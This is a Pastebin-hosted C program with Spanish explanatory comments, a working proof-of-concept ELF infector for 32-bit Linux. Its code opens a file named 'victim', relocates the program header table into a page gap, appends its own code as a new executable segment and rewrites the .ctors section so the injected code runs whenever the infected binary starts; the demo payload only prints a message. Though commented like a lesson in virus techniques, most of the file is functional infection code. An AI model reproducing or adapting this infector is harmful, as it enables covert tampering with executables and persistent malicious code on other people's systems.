document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Sustitución de PT_NOTE, ahora con código de activación modificando
  3.  *    la sección .ctors
  4.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  5.  *
  6.  *    This program is free software: you can redistribute it and/or modify
  7.  *    it under the terms of the GNU General Public License as published by
  8.  *    the Free Software Foundation, either version 3 of the License, or
  9.  *    (at your option) any later version.
  10.  *
  11.  *    This program is distributed in the hope that it will be useful,
  12.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *    GNU General Public License for more details.
  15.  *
  16.  *    You should have received a copy of the GNU General Public License
  17.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  18.  */
  19.  
  20. #include <sys/syscall.h>
  21. #include <sys/types.h>
  22. #include <elf.h>
  23. #include <stdint.h>
  24.  
  25. /* Los includes pueden llegar a ser muy molestos. */
  26. #define O_RDWR                02
  27.  
  28. # define SEEK_SET             0       /* Seek from beginning of file.  */
  29. # define SEEK_CUR             1       /* Seek from current position.  */
  30. # define SEEK_END             2       /* Seek from end of file.  */
  31.  
  32.  
  33. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  34.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  35.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  36.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  37.    coincidencia) */
  38.    
  39. #define BOTTOM_MARKER_LOW  0x504b
  40. #define BOTTOM_MARKER_HIGH 0x5841
  41. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  42. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  43.  
  44. #define NOT_INFECTED_MAGIC   0xdddddddd
  45. #define INFECTED_FLAG_OFFSET 4 /* Desplazamiento del flag de infección */
  46. #define CODE_START_OFFSET    8 /* Desplazamiento del inicio del código */
  47.  
  48. #define BOTTOM_MARKER      0x5841504b
  49. #define TOP_MARKER         BOTTOM_MARKER
  50.  
  51. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  52. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  53.    sustituirá por la cadena "palabra" */
  54.    
  55. #define _STRINGIFY(x) #x
  56. #define STRINGIFY(x) _STRINGIFY (x)
  57.  
  58. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  59.    el flag "a" le obliga a que la sección se cargue en memoria */
  60.    
  61. asm (".section .code_bottom, \\"xa\\"");
  62. asm (".long " STRINGIFY (BOTTOM_MARKER));
  63. /* Ahora no tenemos que salvar nada, somos llamados directamente desde
  64.    __do_global_ctors_aux, el único problema, marcar si estamos o no dentro
  65.    del binario infectado. Esto podemos hacerlo de la forma usual,
  66.    reservamos un entero que ahora ya no contendrá la dirección de retorno,
  67.    si no que hará de flag muy grande. Así reutilizamos código */
  68. asm (".long " STRINGIFY (NOT_INFECTED_MAGIC));
  69. asm ("pusha"); /* Salvamos registros. OJO: esto es el punto de entrada */
  70. asm ("pushf"); /* Y el EFLAGS */
  71. asm ("call _start");
  72. asm ("popf"); /* Recuperamos EFLAGS */
  73. asm ("popa"); /* Y todos los registros */
  74. asm ("ret");
  75.  
  76. asm (".section .code_top, \\"xa\\"");
  77. asm (".long " STRINGIFY (TOP_MARKER));
  78.  
  79.  
  80. /* Vamos a necesitar, por lo menos, todas estas syscalls:
  81.    write, read, open, close y lseek  */
  82. int
  83. write (int fd, const void *buf, int size)
  84. {
  85.   int ret;
  86.  
  87.   asm volatile ("xchg %%ebx, %%esi\\n"
  88.                  "int $0x80\\n"
  89.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  90.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  91.    
  92.   return ret;
  93. }
  94.  
  95. static inline int
  96. read (int fd, void *buf, int size)
  97. {
  98.   int ret;
  99.  
  100.   asm volatile ("xchg %%ebx, %%esi\\n"
  101.                  "int $0x80\\n"
  102.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  103.                  "a" (__NR_read), "S" (fd), "c" (buf), "d" (size)  :
  104.                  "memory"); /* read modifica la memoria */
  105.    
  106.   return ret;
  107. }
  108.  
  109. static inline int
  110. lseek (int fd, int offset, int whence)
  111. {
  112.   int ret;
  113.  
  114.   asm volatile ("xchg %%ebx, %%esi\\n"
  115.                  "int $0x80\\n"
  116.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  117.                  "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
  118.    
  119.   return ret;
  120. }
  121.  
  122. static int
  123. open (const char *path, int mode)
  124. {
  125.   int ret;
  126.  
  127.   asm volatile ("xchg %%ebx, %%esi\\n"
  128.                  "int $0x80\\n"
  129.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  130.                  "a" (__NR_open), "S" (path), "c" (mode));
  131.    
  132.   return ret;
  133. }
  134.  
  135. static int
  136. close (int fd)
  137. {
  138.   int ret;
  139.  
  140.   asm volatile ("xchg %%ebx, %%esi\\n"
  141.                  "int $0x80\\n"
  142.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  143.                  "a" (__NR_close), "S" (fd));
  144.    
  145.   return ret;
  146. }
  147.  
  148. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  149.    muy útil para depurar. */
  150. void
  151. long2hex (unsigned int number, char *buf)
  152. {
  153.   int i;
  154.   char hexa[] = "0123456789abcdef";
  155.  
  156.   buf[8] = 0;
  157.  
  158.   for (i = 0; i < 8; i++)
  159.   {
  160.     buf[7 - i] = hexa[number & 0xf];
  161.     number >>= 4;
  162.   }
  163. }
  164.  
  165. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  166.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  167.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  168.    hacia arriba o hacia abajo hasta encontrarlos */
  169.    
  170. void
  171. get_code_limits (uint32_t *bottom, uint32_t *top)
  172. {
  173.   int i;
  174.   uint32_t this_addr;
  175.  
  176.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  177.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  178.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  179.      inline assembly de GCC */
  180.      
  181.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  182.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  183.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  184.      a un cacho de código que no está especialmente diferenciado del resto. */
  185.      
  186.   asm volatile ("call 1f\\n"
  187.                  "1:\\n"
  188.                  "popl %0\\n" : "=g" (this_addr));
  189.                  
  190.  
  191.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  192.      últimos bits a cero. */
  193.      
  194.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  195.                       this_addr = this_addr & 0xfffffffc que es un and
  196.                       en binario con todo 1 menos los dos últimos bits,
  197.                       esto fuerza a que el número esté alineado a 4. */
  198.  
  199.  
  200.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  201.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  202.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  203.      
  204.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  205.      restando. */
  206.      
  207.   for (i = this_addr; ; i -= 4)
  208.   {
  209.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  210.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  211.       {
  212.         *bottom = i;
  213.         break;
  214.       }
  215.   }
  216.  
  217.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  218.      nuestra memoria hacia adelante, sumando. */
  219.   for (i = this_addr; ; i += 4)
  220.   {
  221.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  222.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  223.       {
  224.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  225.                          4 bytes) también pertenece al código. */
  226.         break;
  227.       }
  228.   }
  229.  
  230. }
  231.  
  232. /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
  233.    infectable */
  234. int
  235. open_elf (const char *path, Elf32_Ehdr *Ehdr)
  236. {
  237.   int fd;
  238.  
  239.   if ((fd = open (path, O_RDWR)) < 0)
  240.     return -1; /* Error al abrir */
  241.    
  242.   if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
  243.   {
  244.     close (fd);
  245.     return -1; /* Error al leer la cabecera */
  246.   }
  247.  
  248.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  249.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  250.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  251.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  252.   {
  253.     close (fd);
  254.     return -1; /* Números mágicos incorrectos */
  255.   }
  256.  
  257.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  258.   {
  259.     close (fd);
  260.     return -1; /* El ELF no es de 32 bits */
  261.   }
  262.  
  263.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  264.   {
  265.     close (fd);
  266.     return -1; /* El ELF no es little endian */
  267.   }
  268.  
  269.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  270.   {
  271.     close (fd);
  272.     return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
  273.   }
  274.  
  275.   return fd;
  276. }
  277.  
  278. /* Macro para alinear a tamaños */
  279. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  280.  
  281. /* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
  282. /* Además, me devolverá la dirección virtual del código inyectado */
  283.  
  284. /* Debido a que en Linux los binarios se llevan a memoria mediante mmap,
  285.    todos los segmentos deben estar alineados a la página, aunque empiecen
  286.    un poco más arriba. Esto permite la existencia de brechas. Sin embargo,
  287.    el tamaño de la brecha está acotado por dos magnitudes. La primera,
  288.    que la brecha acaba cuando acaba la página, la segunda, el inicio de otro
  289.    segmento antes del fin de la brecha. */
  290. /* Esta función medirá el tamaño de dicha brecha, y si cuadra, colará el
  291.    nuevo segmento PT_LOAD al final */
  292.      
  293. int
  294. move_phdrs (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *vaddr)
  295. {
  296.   int i;
  297.   int code_idx;
  298.   size_t  gap_size;
  299.   off_t   gap_start;
  300.  
  301.   Elf32_Phdr phdr;
  302.   uint32_t lowest_va;
  303.   uint32_t codebase;
  304.   uint32_t gap_start_relative;
  305.  
  306.   lowest_va = 0xffffffff;
  307.  
  308.   /* Este bucle me calcula la dirección más alta del programa y me busca
  309.      el segmento de código ejecutable. Si encuentra más de un segmento
  310.      de código, pasamos de inyectar. */
  311.  
  312.   code_idx = -1;
  313.  
  314.   for (i = 0; i < Ehdr->e_phnum; i++)
  315.   {
  316.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  317.       return -1;
  318.      
  319.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  320.       return -1;
  321.      
  322.     if (phdr.p_type == PT_LOAD)
  323.     {
  324.       if (phdr.p_vaddr < lowest_va)
  325.         lowest_va = phdr.p_vaddr;
  326.      
  327.       if (phdr.p_flags & PF_X)
  328.       {
  329.         if (code_idx != -1) /* ¿Dos segmentos de código? dew */
  330.           return -1;
  331.        
  332.         codebase = phdr.p_vaddr;
  333.         code_idx = i;
  334.       }
  335.     }
  336.   }
  337.  
  338.   /* ¿No hay segmento de código? dew */
  339.  
  340.   if (code_idx == -1)
  341.     return -1;
  342.  
  343.   lseek (fd, Ehdr->e_phoff + code_idx * sizeof (Elf32_Phdr), SEEK_SET);
  344.   read (fd, &phdr, sizeof (Elf32_Phdr));  
  345.    
  346.   /* Procedemos a medir el tamaño de la brecha. Podemos cacularlo así:
  347.      Si nuestro segmento empieza en OFFSET y tiene SIZE bytes, entonces
  348.      el segmento acabará (como offset relativo a su última página) en
  349.      (OFFSET + SIZE) & 0xfff, con OFFSET + SIZE el desplazamiento del primer
  350.      byte libre de la brecha.
  351.      
  352.      Si queremos saber cuánto espacio libre tenemos, basta con restar:
  353.      
  354.      4096 - (OFFSET + SIZE) & 0xfff
  355.     */
  356.    
  357.   /* Como precaución, alinearemos el tamaño del texto a 4. Estas
  358.      estructuras suelen estar alineadas a 32 bits.  */
  359.   gap_start_relative = ALIGN (phdr.p_filesz, 4); /* Comienzo relativo al segmentp */
  360.   gap_start = phdr.p_offset + gap_start_relative; /* Comienzo real */
  361.   gap_size  = 4096 - (gap_start & 0xfff); /* Tamaño */
  362.  
  363.   /* Sin embargo, la brecha está limitada por otra magnitud. ¿Qué pasa si un segmento
  364.      empieza antes de que acabe la página del segmento de texto? Pues debemos comprobarlo
  365.      también. */
  366.      
  367.   for (i = 0; i < Ehdr->e_phnum; i++)
  368.   {
  369.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  370.       return -1;
  371.      
  372.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  373.       return -1;
  374.      
  375.     /* ¿Está a caballo entre otro segmento? */
  376.     if (phdr.p_type == PT_LOAD)
  377.       if (gap_start <= phdr.p_offset && phdr.p_offset < gap_start + gap_size)
  378.         gap_size = phdr.p_offset - gap_start; /* Corregimos */
  379.   }
  380.  
  381.   /* Ya hemos superado todos los problemas. ¿Podemos añadir una entrada más ahí? */
  382.  
  383.   if (gap_size < (Ehdr->e_phnum + 1) * sizeof (Elf32_Phdr))
  384.     return -1; /* Pues no */
  385.  
  386.   /* Comienza la copia de toda la tabla a la brecha */  
  387.   for (i = 0; i < Ehdr->e_phnum; i++)
  388.   {
  389.     lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET);
  390.     read (fd, &phdr, sizeof (Elf32_Phdr));
  391.      
  392.     if (i == code_idx)
  393.     {
  394.       /* El segmento de código debe ser retocado para incluir la nueva tabla */
  395.       phdr.p_filesz = phdr.p_memsz = ALIGN (phdr.p_filesz, 4) + gap_size;
  396.     }
  397.     else if (phdr.p_type == PT_PHDR)
  398.     {
  399.       /* El cargador utiliza esta cabecera para ubicar el resto de cabeceras
  400.          de programa en memoria. Debemos dejársela bien arregladita.*/
  401.       phdr.p_offset = gap_start; /* Ahora está en gap_start */
  402.       phdr.p_filesz = phdr.p_memsz = (Ehdr->e_phnum + 1) * sizeof (Elf32_Phdr); /* Y mide tanto */
  403.       phdr.p_vaddr  = phdr.p_paddr = codebase + gap_start_relative; /* Y su dirección virtual es esta */
  404.     }
  405.    
  406.     lseek (fd, gap_start + i * sizeof (Elf32_Phdr), SEEK_SET);
  407.    
  408.     if (write (fd, &phdr, sizeof (Elf32_Phdr)) < 0)
  409.       return -1;
  410.   }
  411.  
  412.   /* Aprovechamos para modificar la cabecera */
  413.   Ehdr->e_phoff = gap_start;
  414.   Ehdr->e_phnum++; /* Una más */
  415.  
  416.   /* Actualizamos */
  417.   lseek (fd, 0, SEEK_SET);
  418.   if (write (fd, Ehdr, sizeof (Elf32_Ehdr)) < 0)
  419.     return -1;
  420.    
  421.   /* Ahora, en i: índice de la última cabecera */
  422.   /* Construimos nuestra cabecera extra, igual que en el caso anterior */
  423.   phdr.p_type = PT_LOAD;
  424.   *vaddr = phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
  425.   phdr.p_filesz = size;
  426.   phdr.p_memsz  = ALIGN (size, 4096);
  427.   phdr.p_flags = PF_X | PF_R;
  428.   phdr.p_offset = offset;
  429.   phdr.p_align = 4096;
  430.  
  431.   lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET);
  432.  
  433.   if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  434.     return -1;
  435.    
  436.   return 0;
  437. }
  438.  
  439. int
  440. inject (int fd, void *base, off_t offset, size_t size)
  441. {
  442.   if (lseek (fd, offset, SEEK_SET) < 0)
  443.     return -1;
  444.    
  445.   if (write (fd, base, size) < size)
  446.     return -1;
  447.    
  448.   return 0;
  449. }
  450.  
  451.  
  452. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  453.  
  454. void
  455. write_zeroes (int fd, int bytes)
  456. {
  457.   int i;
  458.   int null = 0;
  459.  
  460.   for (i = 0; i < bytes; i++)
  461.     write (fd, &null, 1);
  462. }
  463.  
  464. /* Sacado del código de sobreescritura de PLT: busca sección .ctors */
  465. int
  466. name_is_ctors (int fd, Elf32_Ehdr *ehdr, uint32_t shstrtaboff, uint32_t index)
  467. {
  468.   char buffer[7];
  469.   off_t saved;
  470.  
  471.   if ((saved = lseek (fd, 0, SEEK_CUR)) < 0)
  472.     return 0;
  473.  
  474.   lseek (fd, shstrtaboff + index, SEEK_SET);
  475.  
  476.   if (read (fd, buffer, 7) < 7)
  477.     return 0;
  478.  
  479.   lseek (fd, saved, SEEK_SET);
  480.  
  481.   /* A falta de strcmp... */
  482.   if (buffer[0] == \'.\' &&
  483.       buffer[1] == \'c\' &&
  484.       buffer[2] == \'t\' &&
  485.       buffer[3] == \'o\' &&
  486.       buffer[4] == \'r\' &&
  487.       buffer[5] == \'s\' &&
  488.       buffer[6] == \'\\0\')
  489.       return 1;
  490.  
  491.   return 0;
  492. }
  493.  
  494. int
  495. look_for_ctors (int fd, Elf32_Ehdr *ehdr)
  496. {
  497.   int i;
  498.   Elf32_Shdr shdr;
  499.   uint32_t shstrtaboff;
  500.  
  501.   if (ehdr->e_shstrndx < 0)
  502.     return -1;
  503.    
  504.   lseek (fd, ehdr->e_shoff + sizeof (Elf32_Shdr) * ehdr->e_shstrndx, SEEK_SET);
  505.  
  506.   if (read (fd, &shdr, sizeof (Elf32_Shdr)) < sizeof (Elf32_Shdr))
  507.     return -1;
  508.    
  509.   shstrtaboff = shdr.sh_offset;
  510.  
  511.   for (i = 0; i < ehdr->e_shnum; i++)
  512.   {
  513.     lseek (fd, ehdr->e_shoff + sizeof (Elf32_Shdr) * i, SEEK_SET);
  514.  
  515.     if (read (fd, &shdr, sizeof (Elf32_Shdr)) < sizeof (Elf32_Shdr))
  516.       return -1;
  517.      
  518.     if (name_is_ctors (fd, ehdr, shstrtaboff, shdr.sh_name))
  519.       /* Ya no necesitamos saber el tamaño, podemos pasarlo directamente
  520.          como valor de retorno */
  521.       return shdr.sh_offset;
  522.   }
  523.  
  524.   return -1;
  525. }
  526.  
  527. int
  528. alter_ctors (int fd, Elf32_Ehdr *ehdr, uint32_t injected_code_start, uint32_t binsize_aligned)
  529. {
  530.   off_t start;
  531.   size_t size;;
  532.   uint32_t actual_code_start;
  533.  
  534.   if ((start = look_for_ctors (fd, ehdr)) == -1)
  535.     return -1;
  536.  
  537.   /* El inicio de .ctors es sencillamente el marcador 0xffffffff. Tenemos
  538.      que sobreescribirlo y colocar el 0xffffffff detrás. Esto es realmente
  539.      necesario, porque sin ese marcador, el bucle de __do_global_ctors_aux
  540.      recorrería varias posiciones hacia atrás, intentando ejecutar cada
  541.      una de ellas, lo cual nos llevaría a un cantoso segfault. */
  542.      
  543.   actual_code_start = 0xffffffff;
  544.  
  545.   /* Metemos el -1 */
  546.   lseek (fd, start - 4, SEEK_SET);
  547.  
  548.   if (write (fd, &actual_code_start, sizeof (uint32_t)) < sizeof (uint32_t))
  549.     return -1;
  550.  
  551.   /* Y la dirección de nuestro código */
  552.   actual_code_start = injected_code_start + CODE_START_OFFSET;
  553.  
  554.   if (write (fd, &actual_code_start, sizeof (uint32_t)) < sizeof (uint32_t))
  555.     return -1;
  556.    
  557.   /* Ahora, chafamos el flag que identifica los binarios infectados */
  558.   lseek (fd, binsize_aligned + INFECTED_FLAG_OFFSET, SEEK_SET);
  559.  
  560.   /* Y le metemos cualquier cosa */
  561.   if (write (fd, &actual_code_start, sizeof (uint32_t)) < sizeof (uint32_t))
  562.     return -1;
  563.  
  564.   return 0;
  565. }
  566.  
  567. /* Este código se ejecutará dentro del binario infectado */
  568. void
  569. payload (void)
  570. {
  571.   char msg[] = "CONSTRUCT THIS!\\n";
  572.   write (1, msg, sizeof (msg) - 1);
  573. }
  574.  
  575. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  576. void
  577. _start (void)
  578. {
  579.   char buffer[9];
  580.   Elf32_Ehdr Ehdr;
  581.   size_t binsize;
  582.   size_t binsize_aligned;
  583.   size_t code_size;
  584.   int fd;
  585.  
  586.   uint32_t *default_entry_point;
  587.   uint32_t limit_bottom;
  588.   uint32_t limit_top;
  589.   uint32_t injected_code_start;
  590.  
  591.   get_code_limits (&limit_bottom, &limit_top);
  592.  
  593.   code_size = limit_top - limit_bottom;
  594.   default_entry_point = (uint32_t *) ((void *) limit_bottom + INFECTED_FLAG_OFFSET);
  595.  
  596.   /* Aquí tenemos dos casos, dependiendo de si estamos o no estamos dentro */
  597.   if (*default_entry_point == NOT_INFECTED_MAGIC)
  598.   {
  599.     if ((fd = open_elf ("victim", &Ehdr)) == -1)
  600.     {
  601.       DEBUG ("No se pudo abrir el ejecutable victim.\\n");
  602.       for (;;);
  603.     }
  604.    
  605.     binsize = lseek (fd, 0, SEEK_END);
  606.     binsize_aligned = ALIGN (binsize, 4096);
  607.    
  608.     /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
  609.        de página de x86 */
  610.        
  611.     write_zeroes (fd, binsize_aligned - binsize);
  612.    
  613.     if (move_phdrs (fd, &Ehdr, binsize_aligned, code_size, &injected_code_start) == -1)
  614.     {
  615.       DEBUG ("No se han podido mover las cabeceras.\\n");
  616.       for (;;);
  617.     }
  618.    
  619.     if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size) == -1)
  620.     {
  621.       DEBUG ("No se pudo inyectar.\\n");
  622.       for (;;);
  623.     }
  624.    
  625.     if (alter_ctors (fd, &Ehdr, injected_code_start, binsize_aligned) == -1)
  626.     {
  627.       DEBUG ("No me pude enganchar\\n");
  628.       for (;;);
  629.     }
  630.      
  631.     DEBUG ("Binario victim infectado.\\n");
  632.     for (;;);
  633.   }
  634.   else
  635.     payload (); /* Código a ejecutar una vez infectado el ELF */
  636. }
');